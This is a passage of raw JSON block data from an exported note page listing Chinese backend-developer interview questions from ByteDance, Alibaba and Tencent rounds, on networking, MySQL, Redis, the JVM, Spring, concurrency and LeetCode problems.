nore_block_count":true}},"f975734b-0cc6-4ce5-9e00-4509a4b73633":{"value":{"id":"f975734b-0cc6-4ce5-9e00-4509a4b73633","type":"bulleted_list","properties":{"title":[["网络部分"]]},"created_time":1712329332948,"last_edited_time":1712329332948,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"499765b0-61f6-47e1-b819-3c6cb7c5aeb4":{"value":{"id":"499765b0-61f6-47e1-b819-3c6cb7c5aeb4","type":"bulleted_list","properties":{"title":[["TPC/UDP的区别"]]},"created_time":1712329332949,"last_edited_time":1712329332949,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"22f31399-3d9d-491e-b8aa-e953cae7e727":{"value":{"id":"22f31399-3d9d-491e-b8aa-e953cae7e727","type":"bulleted_list","properties":{"title":[["粘包问题"]]},"created_time":1712329332949,"last_edited_time":1712329332949,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fc88d48d-09ab-4dc0-b689-2f44af3655ab":{"value":{"id":"fc88d48d-09ab-4dc0-b689-2f44af3655ab","type":"bulleted_list","properties":{"title":[["TCP如何确保连接的可靠性"]]},"created_time":1712329332949,"last_edited_time":1712329332949,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"79069e2e-3186-4a5f-9047-f802d21002bb":{"value":{"id":"79069e2e-3186-4a5f-9047-f802d21002bb","type":"bulleted_list","properties":{"title":[["TCP 拥塞机制"]]},"created_time":1712329332949,"last_edited_time":1712329332949,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2fb8d8cf-5c3f-430d-98b7-731aafd8ac2a":{"value":{"id":"2fb8d8cf-5c3f-430d-98b7-731aafd8ac2a","type":"bulleted_list","properties":{"title":[["MySQL"]]},"created_time":1712329332951,"last_edited_time":1712329332951,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"31ca7e6d-8362-434b-8dd6-02cc6842c034":{"value":{"id":"31ca7e6d-8362-434b-8dd6-02cc6842c034","type":"bulleted_list","properties":{"title":[["索引存储的数据结构"]]},"created_time":1712329332952,"last_edited_time":1712329332952,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c8dc8dad-de7f-4d46-b3fc-6fe55e8708c5":{"value":{"id":"c8dc8dad-de7f-4d46-b3fc-6fe55e8708c5","type":"bulleted_list","properties":{"title":[["索引存储在哈希表的情况"]]},"created_time":1712329332952,"last_edited_time":1712329332952,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"88faeb2b-c8c6-473e-a246-e93eda9e7769":{"value":{"id":"88faeb2b-c8c6-473e-a246-e93eda9e7769","type":"bulleted_list","properties":{"title":[["使用B+树的优点"]]},"created_time":1712329332952,"last_edited_time":1712329332952,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e40e1c20-4a0e-471f-8628-562019034da6":{"value":{"id":"e40e1c20-4a0e-471f-8628-562019034da6","type":"bulleted_list","properties":{"title":[["最左前缀"]]},"created_time":1712329332953,"last_edited_time":1712329332953,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d18656d4-9571-4c01-be20-1bfbf3802dc4":{"value":{"id":"d18656d4-9571-4c01-be20-1bfbf3802dc4","type":"bulleted_list","properties":{"title":[["Spring"]]},"created_time":1712329332953,"last_edited_time":1712329332953,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1d37391c-6897-4e60-8bcc-1423188466a0":{"value":{"id":"1d37391c-6897-4e60-8bcc-1423188466a0","type":"bulleted_list","properties":{"title":[["Spring的加载过程"]]},"created_time":1712329332953,"last_edited_time":1712329332953,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"251f8057-d632-46c3-a54b-f89b5dd60c70":{"value":{"id":"251f8057-d632-46c3-a54b-f89b5dd60c70","type":"bulleted_list","properties":{"title":[["AOP的使用"]]},"created_time":1712329332953,"last_edited_time":1712329332953,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"446dbe1f-867d-4a95-83e4-d8f75dc45cd6":{"value":{"id":"446dbe1f-867d-4a95-83e4-d8f75dc45cd6","type":"bulleted_list","properties":{"title":[["反射机制的原理"]]},"created_time":1712329332954,"last_edited_time":1712374984973,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c3a187a2-69d0-4f86-8f56-d2bd7cea782f":{"value":{"id":"c3a187a2-69d0-4f86-8f56-d2bd7cea782f","type":"header","properties":{"title":[[" 30.字节"]]},"created_time":1712374984973,"last_edited_time":1712375081322,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"b7597f32-1616-4254-b180-73d7769a402f":{"value":{"id":"b7597f32-1616-4254-b180-73d7769a402f","type":"bulleted_list","properties":{"title":[["map下的实现类,详细介绍"]]},"created_time":1712329332954,"last_edited_time":1712329332954,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2ab62f3d-5aa2-4c9f-b94d-a2a44bdbc59b":{"value":{"id":"2ab62f3d-5aa2-4c9f-b94d-a2a44bdbc59b","type":"bulleted_list","properties":{"title":[["List实现类,详细介绍"]]},"created_time":1712329332955,"last_edited_time":1712329332955,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fa8695e8-fceb-419b-a0d2-73d2a1b18823":{"value":{"id":"fa8695e8-fceb-419b-a0d2-73d2a1b18823","type":"bulleted_list","properties":{"title":[["介绍一下AQS"]]},"created_time":1712329332955,"last_edited_time":1712329332955,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1d05acd4-3c40-4fa0-b278-f9d7ad6f8386":{"value":{"id":"1d05acd4-3c40-4fa0-b278-f9d7ad6f8386","type":"bulleted_list","properties":{"title":[["垃圾回收机制"]]},"created_time":1712329332955,"last_edited_time":1712329332955,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"46d1767d-2c60-4265-9a26-7ed326cc594e":{"value":{"id":"46d1767d-2c60-4265-9a26-7ed326cc594e","type":"bulleted_list","properties":{"title":[["线程池参数"]]},"created_time":1712329332956,"last_edited_time":1712329332956,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8741f0dd-6ae5-48dd-b8ff-44080474cc54":{"value":{"id":"8741f0dd-6ae5-48dd-b8ff-44080474cc54","type":"bulleted_list","properties":{"title":[["b+树"]]},"created_time":1712329332956,"last_edited_time":1712329332956,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"78a6b377-13ab-4d50-ae9a-08bffd5eba79":{"value":{"id":"78a6b377-13ab-4d50-ae9a-08bffd5eba79","type":"bulleted_list","properties":{"title":[["innodb隔离级别"]]},"created_time":1712329332956,"last_edited_time":1712329332956,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e897388d-6b24-4df6-9924-552d053d813c":{"value":{"id":"e897388d-6b24-4df6-9924-552d053d813c","type":"bulleted_list","properties":{"title":[["死锁"]]},"created_time":1712329332957,"last_edited_time":1712329332957,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4ede0317-9b1d-4070-b226-a0e6fbef6c91":{"value":{"id":"4ede0317-9b1d-4070-b226-a0e6fbef6c91","type":"bulleted_list","properties":{"title":[["手撕 反转部分链表"]]},"created_time":1712329332957,"last_edited_time":1712329332957,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c47375d3-bff0-4e54-9644-eae565e51fe5":{"value":{"id":"c47375d3-bff0-4e54-9644-eae565e51fe5","type":"bulleted_list","properties":{"title":[["介绍项目"]]},"created_time":1712329332957,"last_edited_time":1712329332957,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"33e5d703-2541-4aaa-91cb-5888e646589f":{"value":{"id":"33e5d703-2541-4aaa-91cb-5888e646589f","type":"bulleted_list","properties":{"title":[["类加载机制"]]},"created_time":1712329332958,"last_edited_time":1712329332958,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2dd08679-e5f7-4c75-a8f6-e66442d95b77":{"value":{"id":"2dd08679-e5f7-4c75-a8f6-e66442d95b77","type":"bulleted_list","properties":{"title":[["syn关键字"]]},"created_time":1712329332958,"last_edited_time":1712329332958,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d8adac8b-93cd-446a-b020-6bb69791d0ab":{"value":{"id":"d8adac8b-93cd-446a-b020-6bb69791d0ab","type":"bulleted_list","properties":{"title":[["双亲委派"]]},"created_time":1712329332959,"last_edited_time":1712329332959,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"efbd0e81-cde4-459d-99a2-6fce9be40dfa":{"value":{"id":"efbd0e81-cde4-459d-99a2-6fce9be40dfa","type":"bulleted_list","properties":{"title":[["get和post区别"]]},"created_time":1712329332959,"last_edited_time":1712329332959,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"07529cc6-9ad7-4b4f-a9f6-471d8633b82d":{"value":{"id":"07529cc6-9ad7-4b4f-a9f6-471d8633b82d","type":"bulleted_list","properties":{"title":[["tcp和udp"]]},"created_time":1712329332959,"last_edited_time":1712329332959,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"30b82c79-7053-4645-9b05-20efac6c89fe":{"value":{"id":"30b82c79-7053-4645-9b05-20efac6c89fe","type":"bulleted_list","properties":{"title":[["拥塞控制"]]},"created_time":1712329332960,"last_edited_time":1712329332960,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e0cf88ec-669b-4400-8666-df0d98d66c97":{"value":{"id":"e0cf88ec-669b-4400-8666-df0d98d66c97","type":"bulleted_list","properties":{"title":[["http状态码"]]},"created_time":1712329332960,"last_edited_time":1712329332960,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1f61a6e1-57b3-416b-8c71-4f052d0f98af":{"value":{"id":"1f61a6e1-57b3-416b-8c71-4f052d0f98af","type":"bulleted_list","properties":{"title":[["浏览器中输入网址后一系列的事"]]},"created_time":1712329332961,"last_edited_time":1712329332961,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2c17bc29-87c8-4c10-9682-401ce1c56800":{"value":{"id":"2c17bc29-87c8-4c10-9682-401ce1c56800","type":"bulleted_list","properties":{"title":[["host文件是在dns解析前还是后使用"]]},"created_time":1712329332961,"last_edited_time":1712375046390,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"86c3abbc-ff7d-419a-8127-c250c517d57e":{"value":{"id":"86c3abbc-ff7d-419a-8127-c250c517d57e","type":"bulleted_list","properties":{"title":[["进程线程区别"]]},"created_time":1712329332962,"last_edited_time":1712329332962,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e3deccc7-cd9e-405a-9a00-0edac34f79cf":{"value":{"id":"e3deccc7-cd9e-405a-9a00-0edac34f79cf","type":"bulleted_list","properties":{"title":[["手撕 leetcode 54"]]},"created_time":1712329332962,"last_edited_time":1712329332962,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"230bfbfa-0f68-4a1b-86fa-9fc216e7b7d5":{"value":{"id":"230bfbfa-0f68-4a1b-86fa-9fc216e7b7d5","type":"bulleted_list","properties":{"title":[["100个人坐飞机,第一个人疯了随便坐,后面的人优先坐自己序号位置,如果被占了就随便坐,问第100人正确坐到自己位置概率"]]},"created_time":1712329332962,"last_edited_time":1712329332962,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c695b3b6-e36a-4b3c-8ac2-0677dda02281":{"value":{"id":"c695b3b6-e36a-4b3c-8ac2-0677dda02281","type":"bulleted_list","properties":{"title":[["1.redis的运行机制,了解多少说多少"]]},"created_time":1712329332963,"last_edited_time":1712375063936,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c3eb9749-acba-4331-907c-682543552999":{"value":{"id":"c3eb9749-acba-4331-907c-682543552999","type":"bulleted_list","properties":{"title":[["集群模式和哨兵模式有啥区别,选举过程,raft协议,gossip协议"]]},"created_time":1712329332963,"last_edited_time":1712329332963,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4936d148-1ce2-4eb9-8af4-25bb50a82f41":{"value":{"id":"4936d148-1ce2-4eb9-8af4-25bb50a82f41","type":"bulleted_list","properties":{"title":[["为什么不在从节点内部进行投票选举"]]},"created_time":1712329332963,"last_edited_time":1712375068016,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a0709629-65e2-4347-870a-5334596e332c":{"value":{"id":"a0709629-65e2-4347-870a-5334596e332c","type":"bulleted_list","properties":{"title":[["zset结构,跳表+hashtable"]]},"created_time":1712329332964,"last_edited_time":1712329332964,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6a4158de-aede-4aa3-8594-699918b3d6ba":{"value":{"id":"6a4158de-aede-4aa3-8594-699918b3d6ba","type":"bulleted_list","properties":{"title":[["rdb和aof区别,aof下always的安全性"]]},"created_time":1712329332964,"last_edited_time":1712329332964,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"558d4dce-ae22-499f-b6e3-e7245b01d0a6":{"value":{"id":"558d4dce-ae22-499f-b6e3-e7245b01d0a6","type":"bulleted_list","properties":{"title":[["redis数据过期策略"]]},"created_time":1712329332964,"last_edited_time":1712329332964,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8d6438bd-491d-49d6-abe4-9e7a860dd39a":{"value":{"id":"8d6438bd-491d-49d6-abe4-9e7a860dd39a","type":"bulleted_list","properties":{"title":[["redis如何作为分布式锁的"]]},"created_time":1712329332965,"last_edited_time":1712329332965,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9f93a421-44b1-4911-a8d7-31867d7fdea8":{"value":{"id":"9f93a421-44b1-4911-a8d7-31867d7fdea8","type":"bulleted_list","properties":{"title":[["项目里是如何设计索引的,为什么这样设计"]]},"created_time":1712329332965,"last_edited_time":1712329332965,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bb362eba-3373-4ee6-b2c8-906ed629e13f":{"value":{"id":"bb362eba-3373-4ee6-b2c8-906ed629e13f","type":"bulleted_list","properties":{"title":[["数据内容过多,如何分页查询,分库分表如何做"]]},"created_time":1712329332965,"last_edited_time":1712329332965,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f75b5710-cda4-4704-b103-1fab3ccd9cf6":{"value":{"id":"f75b5710-cda4-4704-b103-1fab3ccd9cf6","type":"bulleted_list","properties":{"title":[["手撕 LeetCode31"]]},"created_time":1712329332966,"last_edited_time":1712329332966,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c3c2592d-86ea-44c4-934e-55b968ed8fb7":{"value":{"id":"c3c2592d-86ea-44c4-934e-55b968ed8fb7","type":"header","properties":{"title":[["31.校招阿里"]]},"created_time":1712329332966,"last_edited_time":1712375075447,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d3723374-288a-4caa-8235-73570fd5ae90":{"value":{"id":"d3723374-288a-4caa-8235-73570fd5ae90","type":"bulleted_list","properties":{"title":[["消息队列特性"]]},"created_time":1712329332966,"last_edited_time":1712329332966,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"73096e84-9f99-4930-a43a-5490bf3940d7":{"value":{"id":"73096e84-9f99-4930-a43a-5490bf3940d7","type":"bulleted_list","properties":{"title":[["redis删除策略"]]},"created_time":1712329332967,"last_edited_time":1712329332967,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b1424a27-3889-4e24-96af-687640450549":{"value":{"id":"b1424a27-3889-4e24-96af-687640450549","type":"bulleted_list","properties":{"title":[["双删问题"]]},"created_time":1712329332967,"last_edited_time":1712329332967,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c20e6d3f-17b6-4819-8784-b26807ef9338":{"value":{"id":"c20e6d3f-17b6-4819-8784-b26807ef9338","type":"bulleted_list","properties":{"title":[["list、map、set 分析,使用场景"]]},"created_time":1712329332967,"last_edited_time":1712329332967,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f651222b-ef54-4b0e-9f5f-a368efafeb53":{"value":{"id":"f651222b-ef54-4b0e-9f5f-a368efafeb53","type":"bulleted_list","properties":{"title":[["Gc如何判断垃圾"]]},"created_time":1712329332968,"last_edited_time":1712329332968,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"96eeb2fd-85a1-46a1-be20-7b57bda9df80":{"value":{"id":"96eeb2fd-85a1-46a1-be20-7b57bda9df80","type":"bulleted_list","properties":{"title":[["ConcurrentHashMap"]]},"created_time":1712329332968,"last_edited_time":1712329332968,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d030d1aa-b971-4dca-aba6-e12407d7b061":{"value":{"id":"d030d1aa-b971-4dca-aba6-e12407d7b061","type":"bulleted_list","properties":{"title":[["简单的一些并发问题"]]},"created_time":1712329332968,"last_edited_time":1712329332968,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"470facaa-8aab-478a-b3ff-d4d372af2f36":{"value":{"id":"470facaa-8aab-478a-b3ff-d4d372af2f36","type":"bulleted_list","properties":{"title":[["反转链表递归和迭代 两种实现"]]},"created_time":1712329332969,"last_edited_time":1712329332969,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ea4b19f4-63b1-4cb1-8cc7-5e0930936831":{"value":{"id":"ea4b19f4-63b1-4cb1-8cc7-5e0930936831","type":"bulleted_list","properties":{"title":[["业务需求会关注什么"]]},"created_time":1712329332969,"last_edited_time":1712329332969,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b764367e-b893-4c3b-b158-0ca24a59ed21":{"value":{"id":"b764367e-b893-4c3b-b158-0ca24a59ed21","type":"bulleted_list","properties":{"title":[["数据库如何保证并发安全"]]},"created_time":1712329332969,"last_edited_time":1712329332969,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7816c769-ca26-43f1-b883-a406e3bb045c":{"value":{"id":"7816c769-ca26-43f1-b883-a406e3bb045c","type":"bulleted_list","properties":{"title":[["组合和继承"]]},"created_time":1712329332970,"last_edited_time":1712329332970,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d9cd8791-0860-469a-89cb-a6aa560c2242":{"value":{"id":"d9cd8791-0860-469a-89cb-a6aa560c2242","type":"bulleted_list","properties":{"title":[["如何抛空指针异常,如何产生该异常(一个空对象进行方法调用)"]]},"created_time":1712329332970,"last_edited_time":1712329332970,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4ceada72-37ff-4ea6-b752-5417e82f8fd0":{"value":{"id":"4ceada72-37ff-4ea6-b752-5417e82f8fd0","type":"bulleted_list","properties":{"title":[["如何理解ioc"]]},"created_time":1712329332970,"last_edited_time":1712329332970,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e06cee71-0225-4b1f-bbd8-4dc101079bd5":{"value":{"id":"e06cee71-0225-4b1f-bbd8-4dc101079bd5","type":"bulleted_list","properties":{"title":[["equals和hashcode 3"]]},"created_time":1712329332970,"last_edited_time":1712329332970,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c243e65c-8e30-4c34-8c77-e0383968d7eb":{"value":{"id":"c243e65c-8e30-4c34-8c77-e0383968d7eb","type":"bulleted_list","properties":{"title":[["如何理解线程安全"]]},"created_time":1712329332971,"last_edited_time":1712329332971,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"909cd6fd-5e89-47ca-aed7-504618a61049":{"value":{"id":"909cd6fd-5e89-47ca-aed7-504618a61049","type":"bulleted_list","properties":{"title":[["编译原理,编辑器设计(懵逼,真没学过)"]]},"created_time":1712329332971,"last_edited_time":1712329332971,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"79e8693c-be83-41ed-b6f7-c1d8f8479229":{"value":{"id":"79e8693c-be83-41ed-b6f7-c1d8f8479229","type":"bulleted_list","properties":{"title":[["你会如何作防爬虫策略"]]},"created_time":1712329332972,"last_edited_time":1712329332972,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6adcd6ff-8544-44e2-86ee-b19efdd79021":{"value":{"id":"6adcd6ff-8544-44e2-86ee-b19efdd79021","type":"bulleted_list","properties":{"title":[["以淘宝请求展开,越详细越好,一些推送,广告 逻辑是在哪处理的,不清楚"]]},"created_time":1712329332972,"last_edited_time":1712375095390,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2aa38ec1-c8c9-422e-85f2-b0a841f5bda2":{"value":{"id":"2aa38ec1-c8c9-422e-85f2-b0a841f5bda2","type":"bulleted_list","properties":{"title":[["innodb数据库的查询流程"]]},"created_time":1712329332972,"last_edited_time":1712329332972,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a84f4457-e41d-432f-b9f8-c2c14ecf2cac":{"value":{"id":"a84f4457-e41d-432f-b9f8-c2c14ecf2cac","type":"bulleted_list","properties":{"title":[["如何优化sql"]]},"created_time":1712329332973,"last_edited_time":1712329332973,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"41de3b03-b5d5-473a-9fbe-1c60c386794b":{"value":{"id":"41de3b03-b5d5-473a-9fbe-1c60c386794b","type":"bulleted_list","properties":{"title":[["普通二叉树和b+树的区别"]]},"created_time":1712329332973,"last_edited_time":1712329332973,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bce44f0d-7ea8-48ff-9aba-1f71d26c4309":{"value":{"id":"bce44f0d-7ea8-48ff-9aba-1f71d26c4309","type":"bulleted_list","properties":{"title":[["悲观锁和乐观锁"]]},"created_time":1712329332973,"last_edited_time":1712329332973,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6e959da1-64ce-46e2-9b34-7385e5d1496c":{"value":{"id":"6e959da1-64ce-46e2-9b34-7385e5d1496c","type":"bulleted_list","properties":{"title":[["volatile和syn关键字区别"]]},"created_time":1712329332973,"last_edited_time":1712329332973,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c7e4dc75-d880-43bf-8552-7369383c62d3":{"value":{"id":"c7e4dc75-d880-43bf-8552-7369383c62d3","type":"bulleted_list","properties":{"title":[["spring启动过程"]]},"created_time":1712329332974,"last_edited_time":1712329332974,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"32707fe5-6d61-4912-ae6e-a67c6e6d1791":{"value":{"id":"32707fe5-6d61-4912-ae6e-a67c6e6d1791","type":"header","properties":{"title":[["32.阿里"]]},"created_time":1712329332975,"last_edited_time":1712375122133,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"14fb7a05-e17a-47c0-b0f1-f54f15cae754":{"value":{"id":"14fb7a05-e17a-47c0-b0f1-f54f15cae754","type":"bulleted_list","properties":{"title":[["jvm内存结构,gc结构,为什么年轻带分两个区域"]]},"created_time":1712329332975,"last_edited_time":1712329332975,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b94bcd55-2c7f-4fbc-9e27-1a995cbe7526":{"value":{"id":"b94bcd55-2c7f-4fbc-9e27-1a995cbe7526","type":"bulleted_list","properties":{"title":[["遇到过cpu100吗,怎么排查,介绍下jstack jmap工具"]]},"created_time":1712329332975,"last_edited_time":1712329332975,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"309f7d9a-de41-4f6c-9909-6aa4609db42b":{"value":{"id":"309f7d9a-de41-4f6c-9909-6aa4609db42b","type":"bulleted_list","properties":{"title":[["看过dubbo源码吗,讲下实现原理"]]},"created_time":1712329332976,"last_edited_time":1712329332976,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4e944275-4f1b-403b-961b-d87dc86310e8":{"value":{"id":"4e944275-4f1b-403b-961b-d87dc86310e8","type":"bulleted_list","properties":{"title":[["做过序列化优化没"]]},"created_time":1712329332976,"last_edited_time":1712329332976,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c298a1fc-b87e-4bad-aa8a-1f96b9166364":{"value":{"id":"c298a1fc-b87e-4bad-aa8a-1f96b9166364","type":"bulleted_list","properties":{"title":[["线程池实现原理,参数,拒绝策略默认有哪些,你们项目中是怎么用的"]]},"created_time":1712329332977,"last_edited_time":1712329332977,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ecf884ec-7929-4f6e-b408-da267cc1b37d":{"value":{"id":"ecf884ec-7929-4f6e-b408-da267cc1b37d","type":"bulleted_list","properties":{"title":[["rocketmq项目是如何使用的,幂等性怎么做,顺序消费怎么做"]]},"created_time":1712329332977,"last_edited_time":1712329332977,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4a28381d-9a81-47fc-a721-3f97be58f64d":{"value":{"id":"4a28381d-9a81-47fc-a721-3f97be58f64d","type":"bulleted_list","properties":{"title":[["知道java中有哪些锁吗,悲观锁和乐观锁区别。countdownlatch是干什么的。"]]},"created_time":1712329332977,"last_edited_time":1712329332977,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"403aba0a-435b-4f6a-8703-c15475ea6fbc":{"value":{"id":"403aba0a-435b-4f6a-8703-c15475ea6fbc","type":"bulleted_list","properties":{"title":[["Redis有哪些数据结构"]]},"created_time":1712329332977,"last_edited_time":1712329332977,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1d774b78-1a63-453f-8629-d9f2e89bc4cf":{"value":{"id":"1d774b78-1a63-453f-8629-d9f2e89bc4cf","type":"bulleted_list","properties":{"title":[["threadlocal是什么,在你们项目中是怎么使用的"]]},"created_time":1712329332978,"last_edited_time":1712329332978,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"42ce9b38-d5cf-4388-b8ed-a236fd9e63f4":{"value":{"id":"42ce9b38-d5cf-4388-b8ed-a236fd9e63f4","type":"header","properties":{"title":[["33.三年腾讯"]]},"created_time":1712329332978,"last_edited_time":1712375123448,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8f296156-549a-4c88-ac12-7e0b47dc686b":{"value":{"id":"8f296156-549a-4c88-ac12-7e0b47dc686b","type":"bulleted_list","properties":{"title":[["TCP、UDP 